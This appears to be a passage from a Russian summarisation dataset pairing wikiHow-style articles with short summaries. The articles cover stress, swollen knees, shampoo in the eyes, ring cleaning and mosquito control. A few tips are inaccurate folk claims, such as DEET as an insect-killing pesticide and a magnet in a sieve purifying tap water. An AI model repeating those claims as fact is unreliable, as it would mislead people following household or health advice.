document: Проводите время с друзьями — это также очень хороший способ справиться со стрессом. Каждую неделю уделяйте время тому, чтобы встретиться с другом и поболтать. Можно, например, выйти на прогулку или сходить в кафе на чашечку кофе. Просто убедитесь, что компания людей, с которыми вы проводите время, не приносит вам вреда, и что вы чувствуете себя комфортно рядом с ними. Особенно если вы чувствуете себя подавленным из-за наступления этой фазы вашей жизни. Начните эффективно справляться со стрессом. Ежедневные упражнения или практики релаксации помогут вам обрести покой и справиться со стрессом, когда он возникает. Регулярно уделяйте время тому, чтобы позаботиться о себе. Старайтесь каждый день уделять релаксации по 30 минут. Можно попробовать йогу, цигун или медитацию. Употребление наркотиков или алкоголя может показаться забавным на данном этапе вашей жизни. Возможно, вы считаете, что терять уже нечего, или стремитесь к новому опыту, который, по вашему мнению, вас взбудоражит. Но алкоголь и наркотики совершенно не приносят счастья, могут навредить вам и даже разрушить всю вашу жизнь. Ведь из-за них вы можете потерять работу и уважение окружающих, разрушить собственную семью и здоровье. Если вы испытываете стресс или финансовые проблемы, обратитесь к здоровым решениям вместо алкоголя и наркотиков. Если у вас проблемы с алкоголем или наркотиками, обратитесь за помощью и найдите подходящий способ лечения. Пройдите стационарное или амбулаторное лечение, запишитесь в группу поддержки и избавьтесь от зависимости.

english_section_name: Coping with Stress


summary: Запишитесь на прием к врачу. Узнайте о хирургических методах. Проконсультируйтесь с  физиотерапевтом. Проконсультируйтесь с ортопедом.

document: Обязательно проконсультируйтесь с врачом, если испытываете дискомфорт или болезненные ощущения. Кроме того, проконсультируйтесь с врачом, если у вас поднялась температура или есть покраснение, что может указывать на наличие инфекции. Также обратитесь к врачу, если улучшений не наступит спустя четыре дня. Возможно, вы нуждаетесь в более серьезном лечении.  Ваш врач осмотрит ваше колено, чтобы определить причину отека. Врач проведет необходимые исследования, такие как рентген, УЗИ или МРТ. Благодаря этому он сможет определить, в чем кроется причина отечности. Кроме того, врач может взять образец жидкости из вашего колена на анализ. Он исследует эту жидкость и сообщит вам о результатах.  Ваш врач может ввести стероид в коленный сустав, если пероральная форма окажется неэффективной. В зависимости от причины, вызывающей отек коленного сустава, врач может порекомендовать вам оперативное вмешательство. Ниже перечислены некоторые из наиболее распространенных видов хирургического вмешательства на коленном суставе:  Артроцентез — процесс удаления жидкости из колена для облегчения боли и снижения отечности сустава. Артроскопия — иссечение поврежденных тканей и удаление суставных мышей. Замена сустава — операция, которая проводится тогда, когда становится уже невозможно снимать болевые ощущения в коленях медикаментозными препаратами. Физиотерапевт осмотрит вашу ногу. Он также посоветует вам определенные упражнения, в зависимости от вашего состояния, на укрепление мышц коленного сустава. Проблемы с ногами, такие как плоскостопие и другие, могут быть причиной отека и болезненных ощущений. Проконсультируйтесь с ортопедом по этому вопросу. Он может порекомендовать вам носить ортопедические стельки — специально изготовленные приспособления для ног, которые вкладываются в обувь, как и обычные стельки. Возможно, ортопеду потребуется осмотреть ваши спину и бедро. Когда болевые ощущения распространяются за пределы спины, бедра или ног, такая боль называется иррадиирующей.

english_section_name: Getting Professional Treatment

summary: Носите наколенники. Не приседайте и не сидите на корточках. Воздержитесь от больших нагрузок и спорта. Включайте в свой рацион продукты, обладающие противовоспалительными свойствами. Не курите.

document: Если вам приходится стоять на коленях, например, когда вы выполняете работу по дому или в саду, надевайте наколенники. Если возможно, делайте небольшие перерывы, в течение 10–20 секунд. Во время этих перерывов вставайте и разминайте ноги. Дайте возможность ногам отдохнуть. Если вы хотите предупредить появление отечности коленного сустава, повторяющихся движений, при которых задействованы колени, следует избегать. Многие виды спорта, особенно те, во время занятий которыми необходимо много бегать и прыгать, могут быть причиной болезненных ощущений и отечности коленного сустава. Избегайте занятий горными лыжами, сноубордингом, бегом и баскетболом, пока ваши колени не перестанут болеть полностью. Еда, вами потребляемая, может увеличивать риск возникновения отека в коленном суставе и в других частях тела. Исключите из своего рациона обработанную пищу, жареные и сладкие продукты. Увеличьте потребление фруктов, овощей, белков и цельнозерновых продуктов.  Омега-3 жирные кислоты обладают противовоспалительным действием. Включайте в свой рацион больше лосося и тунца, которые являются прекрасным источником омега-3 жирных кислот. Льняное масло также богато омега-3. Придерживайтесь средиземноморской диеты. Эта диета основана на потреблении постного белка в виде рыбы и курицы. Кроме того, придерживаясь средиземноморской диеты, необходимо употреблять много овощей, оливкового масла и бобов. Из-за курения ухудшается приток крови к органам, как результат — содержание кислорода и важных питательных веществ в них уменьшается. В таких условиях способность организма к самовосстановлению снижается.

english_section_name: Preventing Swollen Knees

summary: Давайте отдых колену. Прикладывайте лед. Не прикладывайте тепло в течение первых 48 часов. Используйте эластичный бинт. Делайте мягкий массаж колена. Облегчайте боль болеутоляющими средствами, доступными без рецепта.

document: Отдыхайте и ходите как можно меньше.  Держите колено выше сердца, когда ложитесь. Подкладывайте подушки под колено и ноги или кладите их на подлокотник дивана. Главное, они должны быть в приподнятом состоянии. Используйте костыли, если вы испытываете боль, когда выпрямляете ногу или переносите на нее вес тела. Прикладывайте лед непосредственно на отекшую область на 10–20 минут. Делайте это три раза в день, чтобы уменьшить отечность.  Вы также можете использовать холодный компресс вместо льда. Если вы получили травму, которая привела к отеку, не прикладывайте тепло. Не используйте горячие компрессы, не принимайте горячий душ или ванну. Забинтуйте колено эластичным бинтом, чтобы создать давление. Это поможет уменьшить отек. Попробуйте бинт на липучке, которая цепляется за сам бинт, тогда вам не понадобятся фиксаторы (застежки). Помните о мере, когда забинтовываете колено. Если вы чувствуете онемение, покалывание, боль или замечаете изменение в цвете кожи, скорее всего, вы наложили бинт слишком плотно. Массаж помогает увеличить приток крови к колену. Если вы испытываете боль, не стоит делать массаж в этой области. Попробуйте противовоспалительные препараты, такие как ацетилсалициловая кислота (аспирин), парацетамол или нестероидные противовоспалительные препараты (НПВП). НПВП включают в себя ибупрофен и напроксен.  Принимая обезболивающие средства, следуйте рекомендациям, изложенным в инструкции. Можете попробовать болеутоляющие средства местного действия. Проконсультируйтесь с фармацевтом об использовании этих средств. Вы также можете попробовать пластырь с лидокаином, чтобы уменьшить боль.

english_section_name: Trying Home Remedies

summary: Сравните больное колено со здоровым. Согните и разогните ногу. Попробуйте походить. Проконсультируйтесь с врачом.

document: Посмотрите на отечность вокруг коленной чашечки или по бокам колена.  Также может быть отек задней части колена. Это может говорить о наличии кисты Бейкера. Киста Бейкера коленного сустава — это своеобразное скопление жидкости на задней поверхности колена, которое вызывает отек этой части колена. Состояние может ухудшаться, когда вы встаете.  Если больное колено стало красным и теплым на ощупь, обязательно обратитесь к врачу. Если вы испытываете дискомфорт при сгибании, вам необходимо лечить колено. Дискомфорт может выражаться в боли или скованности колена. Ощущение скованности, скорее всего, возникает из-за скопления жидкости в вашем колене. При поврежденном колене находиться долго в стоячем положении вряд ли удастся. Во время ходьбы попробуйте перенести вес тела на больную ногу, чтобы понять, сможет ли она выдержать такую нагрузку. Диагностировать отек колена можно и самостоятельно, но только врач сможет установить точную причину этого состояния. Обязательно проконсультируйтесь с врачом, если отечность и болезненные ощущения не уменьшаются в течение нескольких дней. Среди причин отечности колена можно выделить следующие: травмы, такие как разрыв связок или хряща; воспаление из-за чрезмерных нагрузок; остеопороз; ревматоидный артрит; подагра; инфекции; и другие причины.

english_section_name: Diagnosing a Swollen Knee


summary: Когда будете мыть голову, запрокиньте ее назад. Пока моете голову шампунем, закройте глаза. Перед использованием шампуня обязательно прочитайте рекомендации на упаковке. Помыв голову, не касайтесь руками глаз. После того, как помоете голову, вымойте руки. Наденьте защитные очки. Попробуйте так называемый "шампунь без слез". Можно воспользоваться защитным козырьком для глаз.

document: Втирая в волосы шампунь, немного наклоните голову назад. Это значит, что вам нужно как бы взглянуть на потолок, при этом положении голова будет наклонена на 45 градусов по отношению к потолку. Это положение гарантирует, что вся пена и пузырьки от шампуня будут скатываться назад, а не на лицо. Не наклоняйте голову вперед и не держите ее прямо, как если бы просто смотрели вперед. Смывая шампунь с волос, не забудьте также наклонить голову назад. Попробуйте намылить волосы шампунем с закрытыми глазами. Это не так сложно, как вам могло показаться! Если вы хорошо знаете свою ванную комнату или душевую, вы, скорее всего, знаете, куда можно наступать, а куда нет. Выдавите себе в ладошку немного шампуня, затем закройте глаза и нанесите шампунь туда, куда вам нужно. С закрытыми глазами станьте под душ, чтобы смыть шампунь с головы и волос, откройте глаза только тогда, когда полностью смоете шампунь. Обычно они напечатаны на обратной стороне бутылочки от шампуня. Производители практически всегда пишут советы по использованию и нанесению шампуней. На некоторых шампунях написано, как можно избежать попадания шампуня в глаза. Обязательно прочтите эти небольшие пометки, когда надумаете использовать шампунь. Втирая в волосы шампунь, вы точно коснулись его обеими руками (или хотя бы одной). После нанесения шампуня на волосы на ваших руках все еще могут остаться следы шампуня. Поэтому если вы коснетесь глаз руками или пальцами, шампунь может попасть на слизистую. Если сразу после мытья головы вам нужно коснуться глаз или лица руками, сначала сполосните их под водой. Можно помыть руки с мылом, но это необязательно. Убедитесь в том, что хорошо смыли шампунь (и, возможно, мыло) с ладоней и тыльной поверхности кистей, с пальцев и межпальцевых промежутков. Только после этого можно спокойно дотрагиваться до глаз. Если вам в глаза часто попадает шампунь и вызывает сильное раздражение, принимая душ, надевайте защитные очки. Хорошей идеей будет покупка очков для плавания в магазине спортивного инвентаря. Надевайте их каждый раз, когда будете мыть голову, и снимайте, когда полностью смоете шампунь — таким образом вы сможете спокойно помыть голову и вымыть лицо. Есть несколько брендов, которые выпускают шампуни нейтральной кислотности, то есть pH такого шампуня равен 7. Пользуясь таким шампунем с нейтральной кислотностью среды, вы можете даже не заметить, что шампунь попал вам в глаза, и вы не почувствуете дискомфорта. Как уже понятно из названия шампуня, он будет идеален для малышей и детей всех возрастов, особенно для тех, кто еще не умеет самостоятельно мыть голову, а также для взрослых, у которых развита особенная чувствительность к кислотной среде обычных шампуней. Если такой шампунь "без слез" попадет в глаза, он вызовет намного меньше дискомфорта и боли, чем обычный шампунь. Козырек для глаз напоминает кепку с маленькой крышкой, как козырек для игры в гольф. Наденьте глазной козырек на голову так, чтобы край плотно прилегал ко лбу. Наденьте его, когда будете принимать душ, тогда пена будет скатываться по бокам от висков или по краю козырька. Такие козырьки особенно полезны для маленьких детей, чтобы шампунь не попадал им в глаза.

english_section_name: Avoiding Shampoo in Your Eyes

summary: Успокойтесь. Не трите глаза. Закройте глаза. Промойте глаза прохладной водой. Попробуйте заплакать. Проконсультируйтесь с врачом, если все равно чувствуете жжение в глазах.

document: Когда вам в глаза попадает шампунь, появляется чувство жжения и раздражения. Из-за боли мы часто начинаем впадать в панику. Поэтому сохранение спокойствия гарантирует, что вы не сделаете ничего, что ухудшит ситуацию. Есть несколько способов успокоиться, пока вы принимаете душ, но один из способов сохранить спокойствие в данной ситуации — начать глубоко дышать и контролировать свое дыхание. Сосредоточьте внимание на процессе вдоха и выдоха. Попробуйте немного замедлить дыхание, глубоко и медленно вдыхая (на счет 5), а затем выдыхайте в течение следующих 5 секунд. Выполните это упражнение хотя бы три раза. Можно также представить себя где-нибудь в спокойном умротворенном месте, где вам ничего не угрожает, где вы в полной безопасности. Например, попробуйте представить себя посреди горной тропы. Попробуйте представить ощущение легкого ветерка на своем лице и нежное солнечное тепло на коже. Жгучая боль, которую вы чувствуете, когда шампунь попадает вам в глаза, вызвана лаурилсульфатом натрия (SLS) SLS — компонент, заставляющий шампунь пениться. Поэтому, втирая шампунь в глаза, вы только ускоряете процесс вспенивания, который к тому же происходит на слизистой глаз. В процессе трения глаз вы загоняете шампунь все глубже и глубже, то есть не избавляетесь от него, а, наоборот, втираете в глаза. Постарайтесь прикрыть веки. Закрыв глаза, вы предотвращаете дальнейшее попадание в них шампуня, таким образом, вы можете быть уверены в том, что не ухудшите ситуацию. Не открывайте глаза, пока не будете готовы смыть шампунь. Смойте остатки шампуня, не открывая глаза. Смыв остатки шампуня, вы предотвратите действие шампуня на слизистую. Предположим, вы в душе. Тогда сделайте воду чуть холоднее, чтобы она была прохладной. Откройте глаза и подставьте лицо прямо под душ, чтобы вода максимально попадала на лицо и глаза. Слегка поверните голову из стороны в сторону (несколько раз), чтобы вода попала на оба глаза. Постарайтесь как можно шире открыть глаза, подставив их под воду. Таким образом нужно промывать глаза 2–3 минуты. Вода должна выходить из душа под небольшим напором. Если вы не можете настроить напор, подставьте под душ руки, сложив их лодочкой, и двумя руками наберите немного прохладной воды. Затем в течение нескольких минут промывайте этой водой глаза. После того, как подставите лицо под душ и промоете глаза, можно быть уверенным в том, что основную часть шампуня вы уже смыли. Но на всякий случай стоит попытаться заплакать, чтобы удалить со слизистой глаз возможные остатки шампуня. Скорее всего, к этому времени у вас уже заслезятся глаза (это естественная реакция на раздражитель). Если глаза не заслезились, попробуйте заставить себя заплакать, чтобы очистить глаза и удалить остатки шампуня со слизистой естественным способом. Плакать по команде — непростой навык, обучение которому занимает много времени. Однако можно заставить себя подумать о чем-то грустном (например, о том, как остались одни, будучи ребенком, о том, как боитесь оставаться в лесу) — это отличный способ заставить себя всплакнуть. А также в том случае, если после того, как вы промыли глаза водой, у вас затуманилось зрение. Как только вы смоете водой все раздражающие вещества со слизистой глаз, через несколько минут глаза вернутся в свое привычное состояние. Однако если вы чувствуете боль, или у вас мутнеет зрение, и вы беспокоитесь по этому поводу — немедленно обратитесь за медицинской помощью. Вполне возможно, что у вас развилась аллергическая реакция на какой-то определенный компонент в шампуне, которым вы пользуетесь. Есть более серьезные симптомы (кровь или гной, которые появились на глазах после попадания шампуня), на которые нужно обязательно обратить внимание и безотлагательно обратиться за медицинской помощью.

english_section_name: Getting Shampoo Out of Your Eyes With Water


summary: Определите материал кольца. Аккуратно почистите кольцо, учитывая особенности материала, из которого оно сделано.

document: Вы можете уже знать, что кольцо из золота, серебра или латуни. Но можете и не знать этого, если не сами покупали кольцо. Отнесите кольцо ювелиру: он сможет рассказать, как очищать металлы и драгоценные камни, из которых сделано ваше кольцо. Каждый металл по-своему реагирует на разные химические вещества. Поэтому важно обращаться аккуратно с каждым видом металла, чтобы он служил дольше.  Чистите золото мягкой тряпкой и специальным средством для очистки золота. Не используйте мыло и средства, содержащие хлор.  Серебро обычно чистят чистой тряпкой и небольшим количеством воды. Можно также купить специальное средство для чистки серебра. Для алмазов требуется специальный чистящий раствор. Пообщайтесь с ювелиром или поищите в интернете чистящие средства, предназначенные специально для алмазов.  С дешевых колец, которые можно купить в магазинах единой цены (например, Fix Price), удалить грязь можно только пальцами.

english_section_name: Knowing Your Metal

summary: Попробуйте промыть водой. Отнесите кольцо ювелиру. Очистите кольцо ватой, смоченной в спирте. Используйте ультразвуковой очиститель.

document: Если на кольце пятна грязи, чешуйки кожи, следы крови, лосьона, еды или других загрязнений, то попробуйте промыть его водой перед использованием абразивных чистящих средств. Наполните миску чистой, фильтрованной водой и, полностью погрузив кольцо в воду, осторожно потрите его пальцами. Высушите кольцо на солнце.  Не используйте полотенца или салфетки для очистки поверхности кольца, поскольку они могут поцарапать поверхность или испортить камни. Для промакивания не используйте ткань из чистого хлопка. Для этого способа важно использовать тщательно отфильтрованную воду. Попробуйте опустить магнит в сито и пропустить через него воду из-под крана, прежде чем использовать эту воду для очистки колец. Так вы удалите любые металлы с магнитными свойствами. Именно такие металлы могут испортить серебро, золото или другие драгоценные металлы. Если кольцо имеет для вас очень большую ценность (например, это ваше обручальное кольцо или перстень), то подумайте над тем, чтобы отнести его к ювелиру на профессиональную полировку. Некоторые магазины предоставляет услугу бесплатной очистки на купленные у них изделия. Также вы можете приобрести  в ювелирных магазинах чистящий раствор и салфетку для полировки.  Ювелир может проверить кольцо на наличие драгоценных металлов, а также их качество. На основании этой информации ювелир подберет чистящее средство, которое можно будет использоваться  безопасно. Это особенно важно для гравированных колец. При чистке кольца с гравировкой можно испортить надпись или рисунок. Если на кольце есть важная гравировка, то отнесите его ювелиру. Не трите слишком сильно. Если таким образом грязь не удаляется, то, возможно, придется попробовать более агрессивное средство. Устройства ультразвуковой чистки могут очищать ювелирные украшения за считаные минуты с помощью высокочастотного звука. В продаже имеются приборы различных брендов, цена которых довольно существенно отличается. Такое устройство позволит вам быстро и легко почистить украшения в домашних условиях. Однако имейте в виду, что ультразвуковая чистка может повредить некоторые ювелирные украшения. Местный ювелир может подсказать, подходит ли прибор ультразвуковой чистки для ваших украшений, и порекомендует подходящую модель.

english_section_name: Other Methods


summary: Для временного действия распылите инсектициды. Рассмотрите вариант высадки растений, отпугивающих комаров. Относитесь скептически к электронным и ультразвуковым системам уничтожения насекомых. Примите временные меры.

document: DEET - наиболее эффективный пестицид для отпугивания комаров, но он действует лишь несколько часов и может также уничтожить и полезных насекомых в вашем дворе. Другие инсектициды могут наносить меньше ущерба, но являются менее эффективными, их действие краткосрочно и больше подходит для обработки одежды, чем для всей площади вашего участка. Прочитайте на этикетке, одобрены ли эти пестициды агентством по охране окружающей среды или другой подобной организацией. Одним из растений, отпугивающих комаров, являются лантаны. Имейте в виду, что эти растения ядовиты для домашних животных, могут вызывать аллергические реакции и считаются опасными видами в некоторых регионах. Другие подобные растения оказывают слабый эффект на популяцию комаров, так что польза от них будет только в том случае, если они вам просто нравятся или же вы собираетесь высадить большое их количество: Цитронелла, лимонная трава, любые цитрусовые, базилик, розмарин, мята или котовник могут оказывать незначительный эффект. Электронные ловушки могут показаться эффективными, потому что издают громкие звуки, излучают яркий свет или пускают искры. Впрочем, в большинстве случаев такие ловушки для насекомых не действуют на комаров, а ловушки могут уничтожить тех полезных насекомых, которые питаются комарами. Ультразвуковые устройства вообще неэффективны. Ultrasound devices are simply not effective. Эффективность некоторых ловушек для комаров основана на работе вентилятора. Они принципиально похожи на самодельные ловушки, описанные выше. Такие приборы, по крайней мере, дают временный эффект. Комары стараются избегать дыма. Их также можно уничтожить при помощи сильного вентилятора. Вам вряд ли будет приятно ужинать на веранде в облаке дыма или под аэродинамической трубой, но кратковременное применение этих устройств даст хороший эффект. Эффект от цитронелловых свечей в основном заключается в дыме, а не в запахе. От любой свечи эффект будет почти таким же.

english_section_name: Trying Other Mass Control Methods

summary: Заменяйте или очищайте стоячую воду. Очистите сточные канавы и мусорные кучи. Следите, чтобы газоны и кустарники всегда оставались подстриженными, и чтобы под ними не было луж.

document: Спокойная вода - это лучшая среда для разведения комаров. Регулярно опорожняйте все дождевые бочки, детские бассейны, миски для питья домашних животных и другие емкости с водой. В лужи и другие скопления воды можно добавлять инсектициды для уничтожения личинок комаров. Всегда читайте этикетку с предупреждением на упаковке инсектицидов, дабы убедиться в том, что очищенная питьевая вода не навредит домашним животным или маленьким детям. Продукты, которые содержат активные биологические вещества для уничтожения личинок, а не химикаты, как правило, более безопасны для жизни других животных. Это места скопления стоячей воды, и поэтому там размножаются комары, о чем вы, возможно, даже и не задумывались. Часто наводите порядок во дворе, особенно в дождливую погоду. Если ваш газон и кусты всегда будут хорошо подстрижены, вероятность образования луж значительно снизится. Поливайте ваш сад умеренно, просто увлажняя почву, а не создавая лужи.

english_section_name: Killing Mosquito Larvae

summary: Включите лампу или фонарик. Попробуйте справиться при помощи пылесоса. Подождите, пока комар сядет на стену. Прихлопните комара с любым длинным предметом. Сделайте ловушку из стакана.

document: Комаров привлекает свет, поэтому смысла действовать в темноте, если комар уже жужжит в вашей комнате. Создайте в комнате яркое пятно света, чтобы заманить комара. Комаров «не» привлекает свет натриевой лампы, светодиодных фонарей и желтой лампы «от насекомых» Последние используйте для ночного освещения, чтобы сократить количество комаров, а не для того, чтобы привлечь его в качестве потенциальной жертвы. Прикрепите шланг к мощному пылесосу. Как только вы заметите комара, включите пылесос и начните слежку. Комар погибнет, как только попадет в мешок пылесоса, но вы всегда можете вывернуть мешок для проверки. Если вы считаете, что такой процесс слишком сложен для уничтожения одного комара, продолжайте читать статью, чтобы ознакомиться с более традиционными способами. Если вы продолжите следить за насекомым или даже приблизились к нему, а затем спугнули, через 1-2 минуты он вновь сядет на стену. Если комар не садится, попытайтесь убить его хлопком ладонью, как вы делаете это в случае с мухой. Вам, возможно, придется сделать несколько попыток. Сверните журнал, газету или другую ненужную бумагу для усиления хлопка и достижения цели. Также сгодится рубашка, книга или другой предмет, если вы готовы его отмыть после убийства комара. После успешной расправы над комаром можете маниакально похихикать и дальше заниматься своими делами. Для такой цели можете приобрести простую мухобойку или даже электронный ее аналог, с которым для уничтожения насекомого будет достаточно легкого прикосновения. Если комар улетит, прежде чем вы хлопнете по стене, он, скорее всего, реагирует на порыв воздуха при замахе. Попробуйте быстро накрыть прозрачным стаканом поверхность, на которой сидит комар. Затем просуньте лист бумаги или картона между стаканом и поверхностью, чтобы можно было перемещать ловушку вместе с комаром. Вынесите его на улицу, осторожно выньте бумагу и раздавите комара или просто оставьте его задыхаться под стаканом.

english_section_name: Killing a Single Mosquito

summary: Найдите большой вентилятор в коробке.

document: Вы можете приобрести мощный вентилятор в хозяйственном магазине или супермаркете. Выберите экземпляр с металлическим каркасом, так как для этой ловушки вам нужно будет использовать магниты. С помощью этих и нескольких других вещей вы сможете создать ловушку, которая уменьшит количество комаров вокруг вас, по крайней мере, на какое-то время. Его влияние на популяцию этих кровососущих насекомых в долгосрочной перспективе не изучено, но вам не помешает консультация специалистов. Если вы собираетесь обустроить ловушку для комаров во дворе, возможно, вам понадобится длинный удлинитель, чтобы включить вентилятор в домашнюю розетку.

english_section_name: Creating a Homemade Mosquito Trap